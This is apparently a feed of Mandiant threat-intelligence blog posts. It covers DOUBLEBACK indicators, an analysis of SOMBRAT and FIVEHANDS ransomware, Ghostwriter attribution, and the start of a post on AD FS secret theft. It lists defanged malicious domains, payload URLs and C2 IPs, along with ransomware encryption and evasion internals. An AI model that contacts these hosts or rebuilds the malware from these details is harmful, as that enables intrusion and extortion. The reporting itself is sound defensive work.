supported various phases of the effort, targets were researched, and a legitimate third-party domain was compromised. The threat actor made extensive use of obfuscation and fileless malware to complicate detection to deliver a well coded and extensible backdoor. UNC2529 is assessed as capable, professional and well resourced. The identified wide-ranging targets, across geography and industry suggests a financial crime motive. DOUBLEBACK appears to be an ongoing work in progress and Mandiant anticipates further actions by UNC2529 to compromise victims across all industries worldwide. Technical Indicators DOUBLEDRAG / BIFF8 Files MD5 Role Wave 39fc804566d02c35f3f9d67be52bee0d DOUBLEDRAG 1st 44f7af834ee7387ac5d99a676a03cfdd DOUBLEDRAG 1st 4e5583e34ad54fa7d1617f400281ba56 PDF Decoy 1st e80dc4c3e26deddcc44e66bb19b6fb58 PDF Decoy 1st 169c4d96138d3ff73097c2a9aab5b1c0 Zip 1st e70502d020ba707095d46810fd32ee49 Zip 1st 62fb99dc271abc104504212157a4ba91 Excel BIFF8 macro 2nd 1d3fcb7808495bd403973a0472291da5 PDF Decoy 2nd 6a1da7ee620c638bd494f4e24f6f1ca9 Zip 2nd a28236b43f014c15f7ad4c2b4daf1490 Zip 2nd d594b3bce66b8b56881febd38aa075fb Zip 2nd Domains Dec. 2, 2020 Wave Dec. 11 to 18, 2020 Wave adupla[.]net aibemarle[.]com ceylonbungalows[.]net bestwalletforbitcoin[.]com chandol[.]com bitcoinsacks[.]com closetdeal[.]com digitalagencyleeds[.]com daldhillon[.]com erbilmarriott[.]com desmoncreative[.]com ethernetpedia[.]com farmpork[.]com fileamazon[.]com gemralph[.]com gamesaccommodationscotland[.]com isjustlunch[.]com greathabibgroup[.]com logicmyass[.]com infomarketx[.]com lottoangels[.]com jagunconsult[.]com mangoldsengers[.]com khodaycontrolsystem[.]com oconeeveteransmemorial[.]com maninashop[.]com scottishhandcraft[.]com onceprojects[.]com seathisons[.]com simcardhosting[.]com skysatcam[.]com stayzarentals[.]com smartnhappy[.]com touristboardaccommodation[.]com stepearn[.]com towncentrehotel[.]com sugarmummylove[.]com vacuumcleanerpartsstore[.]com techooze[.]com zmrtu[.]com tigertigerbeads[.]com   totallyhealth-wealth[.]com   towncenterhotel[.]com   uaeworkpermit[.]com   DOUBLEDROP MD5 4b32115487b4734f2723d461856af155 9e3f7e6697843075de537a8ba83da541 cc17e0a3a15da6a83b06b425ed79d84c URLs hxxp://p-leh[.]com/update_java.dat hxxp://clanvisits[.]com/mini.dat hxxps://towncentrehotels[.]com/ps1.dat DOUBLEBACK MD5 1aeecb2827babb42468d8257aa6afdeb 1bdf780ea6ff3abee41fe9f48d355592 1f285e496096168fbed415e6496a172f 6a3a0d3d239f04ffd0666b522b8fcbaa ce02ef6efe6171cd5d1b4477e40a3989 fa9e686b811a1d921623947b8fd56337 URLs hxxps://klikbets[.]net/admin/client.php hxxps://lasartoria[.]net/admin/client.php hxxps://barrel1999[.]com/admin4/client.php hxxps://widestaticsinfo[.]com/admin4/client.php hxxps://secureinternet20[.]com/admin5/client.php hxxps://adsinfocoast[.]com/admin5/client.php Detections FireEye detects this activity across our platforms. The following contains specific detection names that provide an indicator of exploitation or post-exploitation activities we associate with UNC2529. Platforms Detection Name Network Security Email Security Detection On Demand Malware File Scanning Malware File Storage Scanning FEC_Trojan_JS_DOUBLEDRAG_1 (static) FE_Trojan_JS_DOUBLEDRAG_1 (static) Downloader.DOUBLEDRAG (network) Downloader.JS.DOUBLEDRAG.MVX (dynamic) FE_Dropper_PS1_DOUBLEDROP_1 (static) FEC_Dropper_PS1_DOUBLEDROP_1 (static) Dropper.PS1.DOUBLEDROP.MVX (dynamic) FE_Backdoor_Win_DOUBLEBACK_1 (static) FE_Backdoor_Win_DOUBLEBACK_2 (static) FE_Backdoor_Win_DOUBLEBACK_3 (static) FE_Backdoor_Win_DOUBLEBACK_4 (static) Backdoor.Win.DOUBLEBACK (network) Malware.Binary.xls Endpoint Security Real-Time (IOC) POWERSHELL ENCODED REMOTE DOWNLOAD (METHODOLOGY) SUSPICIOUS POWERSHELL USAGE (METHODOLOGY) MALICIOUS SCRIPT CONTENT A (METHODOLOGY) POWERSHELL INVOCATION FROM REGISTRY ARTIFACT (METHODOLOGY) Malware Protection (AV/MG) Generic.mg.1aeecb2827babb42 Generic.mg.1bdf780ea6ff3abe Generic.mg.1f285e496096168f Generic.mg.6a3a0d3d239f04ff Generic.mg.ce02ef6efe6171cd Generic.mg.fa9e686b811a1d92 Trojan.JS.Agent.TZP Gen:Variant.Ulise.150277 Gen:Variant.Ulise.150283 Gen:Variant.Razy.799918 UNC2529 MITRE ATT&CK Mapping ATT&CK Tactic Category Techniques Resource Development Compromise Infrastructure (TT1584) Develop Capabilities (T1587) Digital Certificates (T1587.003) Obtain Capabilities (T1588) Digital Certificates (T1588.004) Initial Access Phishing (T1566) Spearphishing Link (T1566.002) Execution User Execution (T1204) Malicious Link (T1204.001) Command and Scripting Interpreter (T1059) Visual Basic (T1059.005) JavaScript/JScript (T1059.007) Privilege Escalation Process Injection (T1055) Defense Evasion Indicator Removal on Host (T1070) File Deletion (T1070.004) Obfuscated Files or Information (T1027) Process Injection (T1055) Modify Registry (T1112) Discovery System Owner/User Discovery (T1033) Process Discovery (T1057) System Information Discovery (T1082) Account Discovery (T1087) Software Discovery (T1518) Collection Screen Capture (T1113) Archive Collected Data (T1560) Archive via Utility (T1560.001) Command and Control Application Layer Protocol (T1071) Web Protocols (T1071.001) Asymmetric Cryptography (T1573.002) Acknowledgements Thank you to Tyler McLellan, Dominik Weber, Michael Durakovich and Jeremy Kennelly for technical review of this content. In addition, thank you to Nico Paulo Yturriaga and Evan Reese for outstanding signature creation, and Ana Foreman for graphics support.

  • UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat
    by Tyler McLellan on April 29, 2021 at 9:00 pm

    Mandiant has observed an aggressive financially motivated group, UNC2447, exploiting one SonicWall VPN zero-day vulnerability prior to a patch being available and deploying sophisticated malware previously reported by other vendors as SOMBRAT. Mandiant has linked the use of SOMBRAT to the deployment of ransomware, which has not been previously reported publicly. UNC2447 monetizes intrusions by extorting their victims first with FIVEHANDS ransomware followed by aggressively applying pressure through threats of media attention and offering victim data for sale on hacker forums. UNC2447 has been observed targeting organizations in Europe and North America and has consistently displayed advanced capabilities to evade detection and minimize post-intrusion forensics. Mandiant has observed evidence of UNC2447 affiliated actors previously using RAGNARLOCKER ransomware. Based on technical and temporal observations of HELLOKITTY and FIVEHANDS deployments, Mandiant suspects that HELLOKITTY may have been used by an overall affiliate program from May 2020 through December 2020, and FIVEHANDS since approximately January 2021. Background In November 2020, Mandiant created UNC2447, an uncategorized group observed using the novel WARPRISM PowerShell dropper to install BEACON at two Mandiant Managed Defense clients. Mandiant Managed Defence quicky neutralized these intrusions and did not observe attempts to deploy ransomware. In January and February 2021, Mandiant Consulting observed a novel rewrite of DEATHRANSOM—dubbed FIVEHANDS—along with SOMBRAT at multiple victims that were extorted. During one of the ransomware intrusions, the same WARPRISM and BEACON samples previously clustered under UNC2447 were observed. Mandiant was able to forensically link the use of WARPRISM, BEACON, SOMBRAT and FIVEHANDS to the same actor. Mandiant suspects that HELLOKITTY activity in late-2020 may be related to the overall affiliate program and that usage shifted to FIVEHANDS ransomware beginning in January 2021. In April 2021, Mandiant observed a private FIVEHANDS TOR chat using a HELLOKITTY favicon (Figure 1). Figure 1: FIVEHANDS Hello Kitty icon When affiliate-based ransomware is observed by Mandiant, uncategorized clusters are assigned based on the infrastructure used, and in the case of UNC2447 were based on the SOMBRAT and Cobalt Strike BEACON infrastructure used across 5 intrusions between November 2020 and February 2021. Generally, Mandiant uses caution even with novel malware such as SOMBRAT and WARPRISM and clusters each use rigorously according to all observed activity. For more information on uncategorized threats, refer to our post, “DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors.” SonicWall SMA 100 Series Appliance Vulnerability CVE-2021-20016 is a critical SQL injection vulnerability that exploits unpatched SonicWall Secure Mobile Access SMA 100 series remote access products. A remote, unauthenticated attacker could submit a specially crafted query in order to exploit the vulnerability. Successful exploitation would grant an attacker the ability to access login credentials (username, password) as well as session information that could then be used to log into a vulnerable unpatched SMA 100 series appliance. This vulnerability only impacted the SMA 100 series and was patched by SonicWall in February 2021. For more information on this vulnerability, please refer to SonicWall PSIRT advisory SNWLID-2021-0001. WARPRISM WARPRISM is a PowerShell dropper that has been observed by Mandiant delivering SUNCRYPT, BEACON, and MIMIKATZ. WARPRISM is used to evade endpoint detection and will load its payload directly into memory. WARPRISM may be used by multiple groups. FOXGRABBER FOXGRABBER is a command line utility used to harvest FireFox credential files from remote systems. It contains the PDB path: C:\Users\kolobko\Source\Repos\grabff\obj\Debug\grabff.pdb. FOXGRABBER has also been observed in DARKSIDE ransomware intrusions. BEACON Malleable Profiles In the initial stages of an intrusion, UNC2447 uses the Cobalt Strike BEACON HTTPSSTAGER implant for persistence to communicate with command-and-control (C2) servers over HTTPS and has been observed using ‘chches_APT10’ and ‘Havex’ Malleable profiles. UNC2447 Toolbox During the recon and exfiltration stage of intrusions, UNC2447 has been observed using the following tools: ADFIND, BLOODHOUND, MIMIKATZ, PCHUNTER, RCLONE, ROUTERSCAN, S3BROWSER, ZAP and 7ZIP. UNC2447 may tamper with windows security settings, firewall rules, and antivirus protection. SOMBRAT Overview SOMBRAT was first reported by Blackberry Cylance in November 2020 as “The CostaRicto Campaign: Cyber-Espionage Outsourced” as a potential espionage-for-hire criminal group. Mandiant has now observed SOMBRAT alongside FIVEHANDS ransomware intrusions. The SOMBRAT backdoor is packaged as a 64-bit Windows executable. It communicates with a configurable command and control (C2) server via multiple protocols, including DNS, TLS-encrypted TCP, and potentially WebSockets. Although the backdoor supports dozens of commands, most of them enable the operator to manipulate an encrypted storage file and reconfigure the implant. The backdoor’s primary purpose is to download and execute plugins provided via the C2 server. In contrast to the SOMBRAT version published in November 2020, Mandiant observed additional obfuscation and armoring to evade detection, this SOMBRAT variant has been hardened to discourage analysis. Program metadata typically included by the compiler has been stripped and strings have been inlined and encoded via XOR-based routines. The SOMBRAT Launcher This SOMBRAT backdoor variant must be deployed alongside four additional resources that serve as launchers. They are typically installed to the hardcoded directory path `C:\ProgramData\Microsoft`.  path: `C:\programdata\Microsoft\WwanSvc.bat` – launcher for `WwanSvc.txt` path: `C:\programdata\Microsoft\WwanSvc.txt` – decoder and launcher for `WwanSvc.c` path: `C:\programdata\Microsoft\WwanSvc.c` – decoder and launcher for `WwanSvc.b` path: `C:\programdata\Microsoft\WwanSvc.a` – XOR key path: `C:\programdata\Microsoft\WwanSvc.b` – encoded SOMBRAT backdoor path: `%TEMP%\<possibly unique random name>` – encrypted storage file path: `%TEMP%\<possibly unique random name _<integer>` – encrypted storage file path: `C:\ProgramData\<possibly unique random name ` – encrypted configuration file Other variations of the filenames were observed such as ntuser and wapsvc. SOMBRAT Technical Details The SOMBRAT backdoor is written in modern C++ and implemented as a collection of “plugins” that interoperate with one another. There are five plugins distributed with this variant: `core`, `network`, `storage`, `taskman`, and `debug` (the `config` plugin described by Blackberry is not present). The core plugins communicate with the C2 server via messages sent over a common networking layer; each plugin supports its own set of messages, and the backdoor protocol can be extended by dynamically loaded plugins. The `core` plugin coordinates state tracking, such as network connectivity, and dynamic plugin loading and unloading. The `network` plugin configures the networking layer used to communicate with the C2 server, for example enabling the operator to switch between DNS and TCP protocols. The `storage` plugin exposes logical operations, such as read and write, for an encrypted file used to store plugins, resources, and arbitrary data. The `taskman` plugin enables the operator to list and kill processes on the compromised system. Finally, the `debuglog` plugin supports a single command to records debug messages. Given that the core plugins do not enable an operator directly execute arbitrary commands or reconfigure the system, the primary function of the SOMBRAT backdoor is to load plugins provided via the C2 server. These plugins may be shellcode or DLL modules to be dynamically loaded. The C2 server may instruct the backdoor to load the plugins directly or persist them into the encrypted storage file, where they may subsequently be reloaded, such as after upgrading the backdoor. Figure 2: Malware author mark “No one is perfect except me.” SOMBRAT evades forensic analysis by patching the process memory used to record command line arguments. It replaces the initial command line with the base filename of the program executable, removing any arguments. This means that investigators that inspect a process listing via memory forensics will see the innocuous-looking command line `powershell.exe` rather than references to the uncommon filename such as `WwanSvc.c`. SOMBRAT Network Communications The SOMBRAT backdoor can communicate with its C2 server using both DNS and a proxy-aware, TLS-encrypted stream protocol. By default, the backdoor uses the DNS protocol; however, this can be reconfigured by the C2 server. Mandiant observed the domains feticost[.]com and celomito[.]com used for DNS C2 communications. When the backdoor communicates via its DNS protocol, it constructs and resolves FQDNs, interpreting the DNS results to extract C2 messages. The authoritative DNS server embeds data within the IP address field of DNS A record results and within the Name Administrator field of DNS TEXT record results. By making many requests to unique subdomains of the C2 domain, the backdoor can slowly transmit information a few bytes at a time. Ransomware Similarities Beginning in October 2020, Mandiant observed samples of a customized version of DEATHRANSOM. This newly modified version removed the language check feature (Figure 3 shows the language check of DEATHRANSOM). Figure 3: Language check from Fortinet blog HELLOKITTY ransomware—used to target Polish video game developer CD Projekt Red—is reportedly built from DEATHRANSOM.HELLOKITTY is named after a mutex named ‘HELLOKITTYMutex,’ used when the malware executable is launched (see Figure 4). Figure 4: HELLOKITTY mutex shown in Process Explorer CEMIG (Companhia Energética de Minas Gerais), a Brazilian electric power company, revealed on Facebook in late December 2020 that it was a victim of HELLOKITTY cyber attack. In January 2021, Mandiant observed a new ransomware deployed against a victim and assigned the name FIVEHANDS. Analysis of FIVEHANDS revealed high similarity to DEATHRANSOM, sharing several features, functions, and coding similarities. Absent in FIVEHANDS is a language check, similar to HELLOKITTY Both DEATHRANSOM and FIVEHANDS drops a ransom note in all non-excluded directories Technical Comparison of FIVEHANDS, HELLOKITTY and DEATHRANSOM DEATHRANSOM is written in C while the other two families are written in C++. DEATHRANSOM uses a distinct series of do/while loops to enumerate through network resources, logical drives, and directories. It also uses QueueUserWorkItem to implement thread pooling for its file encryption threads. HELLOKITTY is written in C++, but reimplements a significant portion of DEATHRANSOM’s functionality using similar loop operations and thread pooling via QueueUserWorkItem. The code structure to enumerate network resources, logical drives, and perform file encryption is very similar. Additionally, HELLOKITTY and DEATHRANSOM share very similar functions to check for the completion status of their encryption threads before exiting. FIVEHANDS is written in C++ and although high level functionality is similar, the function calls and code structure to implement the majority of the functionality is written differently. Also, instead of executing threads using QueueUserWorkItem, FIVEHANDS uses IoCompletionPorts to more efficiently manage its encryption threads. FIVEHANDS also uses more functionality from the C++ standard template library (STL) than does HELLOKITTY. Deletion of Volume Shadow Copies DEATHRANSOM, HELLOKITTY, and FIVEHANDS use the same code to delete volume shadow copies via WMI by performing the query select * from Win32_ShadowCopy and then deleting each instance returned by its id. Encryption Operations Each of these three malware families utilizes a similar encryption scheme. An asymmetric public key is either hard-coded or generated. A unique symmetric key is generated for each encrypted file. After each file is encrypted, the asymmetric key will encrypt the symmetric key and append it to the encrypted file. Additionally, a unique four byte magic value is appended to the end of the encrypted file. The malware checks for these magic bytes to ensure it does not encrypt a previously encrypted file again. DEATHRANSOM and HELLOKITTY implement the file encryption operations using a very similar code structure and flow. FIVEHANDS implements its file encryption with a differing code structure and uses different embedded encryption libraries. In addition to the symmetric key, HELLOKITTY and FIVEHANDS also encrypts file metadata with the public key and appends this to the encrypted file. DEATHRANSOM generates an RSA key pair while HELLOKITTY and FIVEHANDS use an embedded RSA or NTRU public key. DEATHRANSOM Encryption DEATHRANSOM creates an RSA-2048 public and private key pair. Using an Elliptic-curve Diffie–Hellman (ECDH) routine implemented with Curve25519, it computes a shared secret using two input values: 1) 32 random bytes from a RtlGenRandom call and 2) a hardcoded 32 byte value (attacker’s public key). It also create a Curve25519 public key. The shared secret is SHA256 hashed and used as the key to Salsa20 encrypt the RSA public and private keys. The RSA public key is used to encrypt the individual symmetric keys that are used to encrypt each file. A Base64 encoded version of the encrypted RSA keys and the victim’s Curve25519 public key is included in the ransom note, providing the threat actors the information needed to decrypt the victim’s files. For the symmetric key, DEATHRANSOM calls RtlGenRandom to generate 32 random bytes. This is the 32 byte key used to AES encrypt each file. After the file is encrypted, the AES key is encrypted with the public RSA key and appended to the file. DEATHRANSOM lastly appends the four magic bytes of AB CD EF AB at the end of the encrypted file and uses this as a check to ensure that it does not encrypt an already encrypted file. The analyzed DEATHRANSOM sample used for comparison does not change the file extension. HELLOKITTY Encryption HELLOKITTY contains an embedded RSA-2048 public key. This public key is SHA256 hashed and used as the victim ID within the ransom note. This RSA pubic key is also used to encrypt each file’s symmetric key. For the symmetric key, HelloKitty generates a 32 byte seed value based on the CPU timestamp. A Salsa20 key is generated and encrypts a second 32 byte seed value. The encrypted result is XOR’d with the first seed, resulting in a 32 byte key used to AES encrypt each file. After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public RSA key and appended to the file. HELLOKITTY and FIVEHANDS appends this additional metadata to the encrypted file, while DEATHRANSOM does not. Lastly it appends the four magic bytes DA DC CC AB to the end of the encrypted file. Depending on the version, HELLOKITTY may or may not change the file extension. Other samples of HELLOKITTY have used an embedded NTRU public key instead of RSA. FIVEHANDS Encryption FIVEHANDS uses an embedded NTRU public key. This NTRU key is SHA512 hashed and the first 32 bytes are used as the victim ID within the ransom note. This NTRU pubic key is also used to encrypt each file’s symmetric key. For the symmetric key, FIVEHANDS uses an embedded generation routine to produce 16 random bytes used for an AES key to encrypt each file. After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public NTRU key and appended to the file. The four magic bytes DB DC CC AB are appended to the end of the encrypted file. FIVEHANDS includes additional code not found in DEATHRANSOM and HELLOKITTY to use the Windows Restart Manager to close a file currently in use so that it can be unlocked and successfully encrypted. The encrypted file extension is changed to .crypt  extension FIVEHANDS’s encryption flow and sequence is very different from the other two, partially because it incorporates asynchronous I/O requests and uses different embedded encryption libraries. FIVEHANDS Encrypted Dropper One significant change between DEATHRANSOM and FIVEHANDS is the use of a memory-only dropper, which upon execution, expects a command line switch of -key followed by the key value necessary to perform decryption of its payload. The payload is stored and encrypted with AES-128 using an IV of “85471kayecaxaubv”. The decrypted FIVEHANDS payload is immediately executed after decryption. To date, Mandiant has only observed encrypted droppers with a common imphash of 8517cf209c905e801241690648f36a97. CLI arguments FIVEHANDS can receive a CLI argument for a path, this limits the ransomware’s file encryption activities to the specified directory. DEATHRANSOM and HELLOKITTY do not accept CLI arguments. Locale and Mutex checks DEATHRANSOM performs language ID and keyboard layout checks. If either of these match Russian, Kazakh, Belarusian, Ukrainian or Tatar it exits. Neither HELLOKITTY or FIVEHANDS perform language ID or keyboard checks. HELLOKITTY performs a mutex check while the other two do not perform mutex checks. File Exclusions DEATHRANSOM and HELLOKITTY both exclude the same directories and files: programdata, $recycle.bin, program files, windows, all users, appdata, read_me.txt, autoexec.bat, desktop.ini, autorun.inf, ntuser.dat, iconcache.db, bootsect.bak, boot.ini, ntuser.dat.log, or thumbs.db. The exclusions for FIVEHANDS are more extensive and contain additional files and directories to ignore. Additional Differences DEATHRANSOM makes an external HTTPS connection to download a file. Neither HELLOKITTY or FIVEHANDS initiate network connections. HELLOKITTY contains code to set the victims wallpaper to a ransom related image. The other samples do not have this functionality Different versions of DEATHRANSOM and HELLOKITTY are known to change the file extension Different versions of HELLOKITTY are known to check for specific processes to terminate. Feature FIVEHANDS HELLOKITTY DEATHRANSOM Programming Language C++ C++ C Symmetric Encryption AES 128 AES 256 AES 256 Asymmetric Encryption Embedded NTRU Key Embedded RSA or NTRU Key Curve25519 ECDH and RSA key creation Same directory and file name exclusions No Yes Yes Accepts CLI Arguments Yes No No Network Connections No No Yes Locale Check No No Yes Mutex Check No Yes No Bytes Appended to Encrypted Files DB DC CC AB DA DC CC AB AB CD EF AB Table 1: Ransomware feature comparison Conclusion Mandiant observed SOMBRAT and FIVEHANDS ransomware by the same group since January 2021. While similarities between HELLOKITTY and FIVEHANDS are notable, ransomware may be used by different groups through underground affiliate programs. Mandiant will assign an uncategorized cluster based on multiple factors including infrastructure used during intrusions and as such, not all SOMBRAT or FIVEHANDS ransomware intrusions may have been conducted by UNC2447. WARPRISM and FOXGRABBER have been used in SUNCRYPT and DARKSIDE ransomware demonstrating additional complexity and sharing between different ransomware affiliate programs. Indicators SOMBRAT UNC2447 87c78d62fd35bb25e34abb8f4caace4a 6382d48fae675084d30ccb69b4664cbb (31dcd09eb9fa2050aadc0e6ca05957bf unxored) SOMBRAT Launcher cf1b9284d239928cce1839ea8919a7af (wwansvc.a XOR key) 4aa3eab3f657498f52757dc46b8d1f11 (wwansvc.c) 1f6495ea7606a15daa79be93070159a8 (wwansvc.bat) 31dcd09eb9fa2050aadc0e6ca05957bf (wwansvc.b) edf567bd19d09b0bab4a8d068af15572 (wwansvc.b) a5b26931a1519e9ceda04b4c997bb01f (wwansvc.txt) f0751bef4804fadfe2b993bf25791c49 (4aa3eab3f657498f52757dc46b8d1f11 unxored) 87c78d62fd35bb25e34abb8f4caace4a (edf567bd19d09b0bab4a8d068af15572 unxored) SOMBRAT domains Celomito[.]com (unc2447) Feticost[.]com (unc2447) Cosarm[.]com Portalcos[.]com FIVEHANDS 39ea2394a6e6c39c5d7722dc996daf05 f568229e696c0e82abb35ec73d162d5e FIVEHANDS Encrypted Dropper 6c849920155f48d4b4aafce0fc49eb5b 22d35005e926fe29379cb07b810a6075 57824214710bc0cdb22463571a72afd0 87c0b190e3b4ab9214e10a2d1c182153 1b0b9e4cddcbcb02affe9c8124855e58 46ecc24ef6d20f3eaf71ff37610d57d1 1a79b6d169aac719c9323bc3ee4a8361 a64d79eba40229ae9aaebbd73938b985 HELLOKITTY 136bd70f7aa98f52861879d7dca03cf2 06ce6cd8bde756265f95fcf4eecadbe9 af568e8a6060812f040f0cb0fd6f5a7b d96adf82f061b1a6c80699364a1e3208 DEATHRANSOM c50ab1df254c185506ab892dc5c8e24b WARPRISM c925822c6d5175c30ba96388b07e9e16 (unc2447) c171bcd34151cbcd48edbce13796e0ed d87fcd8d2bf450b0056a151e9a116f72 f739977004981fbe4a54bc68be18ea79 e18b27f75c95b4d50bfcbcd00a5bd6c5 df6e6b3e53cc713276a03cce8361ae0f 1cd03c0d00f7bfa7ca73f7d73677d8f8 8071f66d64395911a7aa0d2057b9b00d c12a96e9c50db5f8b0b3b5f9f3f134f0 e39184eacba2b05aaa529547abf41d2b 09a05a2212bd2c0fe0e2881401fbff17 8226d7615532f32eca8c04ac0d41a9fd a01a2ba3ae9f50a5aa8a5e3492891082 29e53b32d5b4aae6d9a3b3c81648653c a809068b052bc209d0ab13f6c5c8b4e7 BEACON UNC2447 64.227.24[.]12 Havex Profile January 2021 157.230.184[.]142  chches_ APT10 Profile November 2020-January 2021 74c688a22822b2ab8f18eafad2271cac 7d6e57cbc112ebd3d3c95d3c73451a38 FOXGRABBER 4d3d3919dda002511e03310c49b7b47f FireEye Detections FireEye Network Security FireEye Email Security FireEye Detection On Demand FireEye Malware Analysis FireEye Malware File Protect   FIVEHANDS FE_Loader_Win32_Generic_162 FE_Ransomware_Win32_FIVEHANDS_1 Malware.Binary.exe Ransomware.Win.Generic.MVX SOMBRAT FE_Backdoor_Win64_SOMBRAT_1 Backdoor.Win.SOMBRAT Malware.Binary.exe Backdoor.Win.SOMBRAT.MVX FEC_Trojan_PS1_Generic_7 FEC_Trojan_PS1_Generic_8 FEC_Trojan_BAT_Generic_5 HELLOKITTY Ransomware.Win.Generic.MVX Malware.Binary.exe Ransomware.Win.HELLOKITTY.MVX FE_Ransomware_Win_HELLOKITTY_1 FE_Ransomware_Win32_HELLOKITTY_1 DEATHRANSOM FE_Loader_Win32_Generic_92 Ransomware.Win.Generic.MVX Malware.Binary.exe BEACON FE_Loader_Win32_BLUESPINE_1 Backdoor.BEACON Malware.Binary.exe WARPRISM FE_Loader_PS1_WARPRISM_1 FEC_Loader_PS1_WARPRISM_1 Backdoor.BEACON Trojan.Generic Trojan.Win.SYSTEMBC Backdoor.Meterpreter Loader.PS1.WARPRISM.MVX Malware.Binary.exe Malware.Binary.ps1 FOXGRABBER FE_Tool_MSIL_FOXGRABBER_1 FE_Trojan_MSIL_Generic_109 FireEye EndPoint Security Real-Time (IOC) SOMBRAT (BACKDOOR) SUSPICIOUS POWERSHELL READ BASE64 DATA (METHODOLOGY) FIVEHANDS RANSOMWARE (FAMILY) DEATHRANSOM RANSOMWARE (FAMILY) HELLOKITTY RANSOMWARE (FAMILY) BEACON (FAMILY) Malware Protection (AV/MG) SOMBRAT Generic.mg. 87c78d62fd35bb25 Generic.mg.6382d48fae675084 Trojan.GenericKD.45750384 Trojan.GenericKD.36367848 Generic.PwShell.RefA.CB5E962A FIVEHANDSGeneric.mg.39ea2394a6e6c39c Generic.mg.f568229e696c0e82 Generic.mg.6c849920155f48d4 Generic.mg.22d35005e926fe29 Generic.mg.57824214710bc0cd Generic.mg.87c0b190e3b4ab92 Generic.mg.1b0b9e4cddcbcb02 Generic.mg.46ecc24ef6d20f3e Generic.mg.1a79b6d169aac719 Generic.mg.a64d79eba40229ae Gen:Variant.Zusy.375932 Gen:Variant.Zusy.366866 Trojan.GenericKD.46059492 Trojan.GenericKD.46059131 Trojan.GenericKD.45996121 Trojan.GenericKD.45702783 WARPRISM Generic.mg.a01a2ba3ae9f50a5 Trojan.PowerShell.Agent.IJ Trojan.Agent.EXDR Trojan.PowerShell.Ransom.E Trojan.Agent.EUKPTrojan.GenericKD.45856129 Heur.BZC.PZQ.Boxter.829.B5AEB7A6 Heur.BZC.PZQ.Boxter.829.B84D01A7 Heur.BZC.PZQ.Boxter.829.AE76D25C Trojan.PowerShell.Ransom.F Dropped:Heur.BZC.MNT.Boxter.826.0A2B3A87 Heur.BZC.PZQ.Boxter.829.A15701BD DEATHRANSOMGeneric.mg.c50ab1df254c1855 Trojan.Ransomware.GenericKD.35760206 HELLOKITTYGeneric.mg.136bd70f7aa98f52 Generic.mg.06ce6cd8bde75626 Generic.mg.af568e8a6060812f Generic.mg.d96adf82f061b1a6 Generic.Malware.PfVPk!12.299C21F3 Gen:Variant.Ransom.HelloKitty.1 Generic.Malware.PfVPk!12.606CCA24 Generic.Malware.PfVPk!12.1454636C BEACONGeneric.mg.74c688a22822b2ab Generic.mg.7d6e57cbc112ebd3 Trojan.Agent.DDSN MITRE ATT&CK Tactic Description Initial Access T1078 Valid Accounts Execution T1047 Windows Management Instrumentation T1053.005 Scheduled Task / Job: Scheduled Task T1059.001 Command and Scripting Interpreter: PowerShell T1106 Execution through API Defense Evasion T1045 Software Packing T1055 Process Injection T1140 Deobfuscate / Decode Files or Information Discovery T1012 Query Registry T1046 Network Service Scanning T1057 Process Discovery T1082 System Information Discovery T1124 System Time Discovery T1135 Network Share Discovery Collection T1560.003 Archive Collected Data: Archive via Custom Method Impact T1485 Data Destruction T1486 Data Encrypted for Impact T1490 Inhibit System Recovery Command and Control T1071.001 Application Layer Protocol: Web Protocols T1090.002 Proxy: External Proxy T1572  Protocol Tunneling T1573.002 Encrypted Channel: Asymmetric Cryptography Exfiltration T1041 Exfiltration over C2 Channel Acknowledgements Thanks to Nick Richard for technical review, Genevieve Stark and Kimberly Goody for analytical contributions, and Jon Erickson, Jonathan Lepore, and Stephen Eckels for analysis incorporated into this blog post.

  • Ghostwriter Update: Cyber Espionage Group UNC1151 Likely Conducts Ghostwriter Influence Activity
    by Lee Foster on April 28, 2021 at 10:00 am

    In July 2020, Mandiant Threat Intelligence released a public report detailing an ongoing influence campaign we named “Ghostwriter.” Ghostwriter is a cyber-enabled influence campaign which primarily targets audiences in Lithuania, Latvia and Poland and promotes narratives critical of the North Atlantic Treaty Organization’s (NATO) presence in Eastern Europe. Since releasing our public report, we have continued to investigate and report on Ghostwriter activity to Mandiant Intelligence customers. We tracked new incidents as they happened and identified activity extending back years before we formally identified the campaign in 2020. A new report by our Information Operations analysis, Cyber Espionage analysis, and Mandiant Research teams provides an update on Ghostwriter, highlighting two significant developments. We have observed an expansion of narratives, targeting and TTPs associated with Ghostwriter activity since we released our July 2020 report. For example, several recent operations have heavily leveraged the compromised social media accounts of Polish officials on the political right to publish content seemingly intended to create domestic political disruption in Poland rather than foment distrust of NATO. These operations, conducted in Polish and English, appear to have largely not relied on the dissemination vectors we have typically observed with previous Ghostwriter activity, such as website compromises, spoofed emails or posts from inauthentic personas. We have observed no evidence that these social media platforms were themselves in any way compromised, and instead believe account credentials were obtained using the compromised email accounts of targeted individuals. Recently obtained technical evidence now allows us to assess with high confidence that UNC1151, a suspected state-sponsored cyber espionage actor that engages in credential harvesting and malware campaigns, conducts at least some components of Ghostwriter influence activity; current intelligence gaps, including gaps pertaining to website compromises and the operation of false personas, do not allow us to conclusively attribute all aspects of the Ghostwriter campaign to UNC1151 at this time. We do not associate UNC1151 with any other previously tracked threat groups. Since the start of 2021, UNC1151 has expanded its credential theft activity to target German politicians. This targeting has been publicly reported in the German Tagesschau. The appendices of the report include an exhaustive table of incidents and operations we currently associate with Ghostwriter activity, a detailed case study of a recent Ghostwriter operation, and indicators of compromise (IOCs) related to UNC1151. Read the report today to learn more.

  • Abusing Replication: Stealing AD FS Secrets Over the Network
    by Douglas Bienstock on April 27, 2021 at 5:00 pm

    Organizations are increasingly adopting cloud-based services such as Microsoft 365 to host applications and data. Sophisticated threat actors are catching on and Mandiant has observed an increased focus on long-term persistent access to Microsoft 365 as one of their primary objectives. The focus on developing novel and hard to detect methods to achieve this goal was highlighted with the recent detection of UNC2452 and their access to Microsoft 365. One of this group’s key TTPs was to steal the Token Signing Certificate from an organization’s AD FS server to enable them to bypass MFA and access cloud services as any user, at any time. While defenders previously associated the defense of this certificate, and thus the entire ecosystem, with careful access control and detection efforts around the AD FS server and service account, this is no longer sufficient. In this blog post we will show how a threat actor, with the right privilege, can extract the encrypted Token Signing Certificate from anywhere on the internal network. Once extracted, a threat actor can easily decrypt it and begin accessing cloud services. Active Directory Federation Services Active Directory Federation Services (AD FS) is a feature for Windows Servers that enables federated identity and access management. It is often used by 